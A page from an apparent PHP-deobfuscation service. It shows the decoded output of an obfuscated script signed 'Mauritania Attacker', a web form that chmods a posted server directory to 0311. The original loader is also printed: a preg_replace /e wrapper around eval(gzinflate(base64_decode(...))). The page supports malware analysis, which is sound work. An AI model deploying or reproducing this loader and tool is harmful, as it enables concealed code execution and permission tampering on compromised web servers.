Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\..
Decoded Output download
?><center> <font color="matrix" size ="10" face="impact" >Bypass Chmod Directory Priv8 By Mauritania Attacker</font></center>
<form action="" method="post">
<p>
<center>
<input type="text" name="file" placeholder="/home/user/public_html/directory">
<input type="submit" name="bypass" value="Bypass Chmod Dir">
</form></center></p>
<?
if($_POST)
{
$mauritania = $_POST['file'];
$ch = @chmod($mauritania,'0311');
if($ch)
{
echo "[+] Directory <font face='Tahoma' size='3' color='green'> =>{$mauritania} => [+] Permission Changed Successfully Bypassed ^_^ [+]";
}
else
{
echo "[-] Directory <font face='Tahoma' size='3' color='red'> =>{$mauritania} => [-] Permission can't be changed , maybe chmod function is disabled :( [-]";
}
}
?>
Did this file decode correctly?
Original Code
<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZrdiuTKEYTvDX6HZdkL++bQUv1JLH6TvlH39MAB4+WAMfv4VkZ9UaUZm4Vz0cx0t1SVlRkZGZnqbz+f6/7H9uXLb//48vX+s93O13r/Wcv5avef5X2+j+/q83wt5yv1z9btfJ3fr+d16+t8Hf1/fRefP/vfcv5t57Wpnq9yed/6Zx++Xz6+z+ny/lwrbZ+ubx/Xy5/uT/un9cqn7+sv9vtsT9ibf3Ge/2ff5/N/Xu/zftf10if70qf9z2vzZ//9yr76v/v9qfs533ra3c5Yl/P7en6Wz8/yeV9b+Hzvfq4+//l9y32N+ur3lIjVq7/qo+Mq1gmMhU2xTo21zs/Tib0ccc7d/hzfBTZTvzdsbI5N2BZ25f5eeIwzxrlv2NvA9Gnnet6f3/v3sXdxjBLnufX9433sHeuGreGH2Cc/5vphc9ji+8vR8ydsiM+VN7Wf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ayJrpi0SvedH4lb7I7H+4VH1sskT11HoiV8UI8pfuQTY9GC2XlD4XHBbHkSX6Jz9oR+TPgrtjh+acZi/FyBhkW5d+mgGxPFQUYWTuSTce8pvKeM+rlCvQhm8FGwO3kK9H4fj6HSeiG05T4e8zqPk78zr+zEhebYT140FQBTbbs0z8+5ZgHb2p9c9lRjPM4+EFT7zMcx+YSfCoKmrB9zqlqYOY98FufAMp9ANCZP5hhxV5u5ZYJ37hQm6X6EJlsuvKm1KDoNoSMfYosmtRQ0re2GjEa4WdB4PwRgddFtM57Z01r85cJmvzSarmoONt5p9D3tS/Bss4gwR8NNxU3diwaCM8ov5jcmev5pSd4n5i3A3TwVhgOJwpeWGdvx0yvveUye8OPIMa2Hx5ubmR2fgFM3Ac59cbub40KewOn+qU3DporgqmnG2MJaDdNxH8175joJ4R2sLpN/Ro3wAAIBUfzTPk/Hn5MfVGMbNQR/ZARTMQ/BceL55338LEx+W+7j6WtCrOi83Os6LvsKdcbN5fM+HuU3c6ObCpq2BB81ck112LFjOOGfCzTnHnXCj7PFRQi4AtcVGg4/MWqe6nJ+N7OOpX1ZEUeF4Y6fsBX4VIKamCfWUM6VKdCUq9jkJsR1281d4qmLn2QrDmC/mcu2WXtHI+dzeTDhBoezuoF0813JsWaRDh+Zs/yU1z+j8llU13bqGEOMUXfQZR4u+Imip+RuPuJnhh9+erj/iffsc/0Zql7BB4+v31//Of75t2/8/PW3L/4NQfzXB7Hxn9Ts37//Fw=='\x29\x29\x29\x3B","");
?>
Function Calls
gzinflate | 13 |
davhdc21232 | 1 |
dhtpxc21233 | 1 |
djwlid21231 | 1 |
preg_replace | 10 |
base64_decode | 13 |
Stats
MD5 | 5dd263be820e05f69bd4653f7e5fff66 |
Eval Count | 24 |
Decode Time | 123 ms |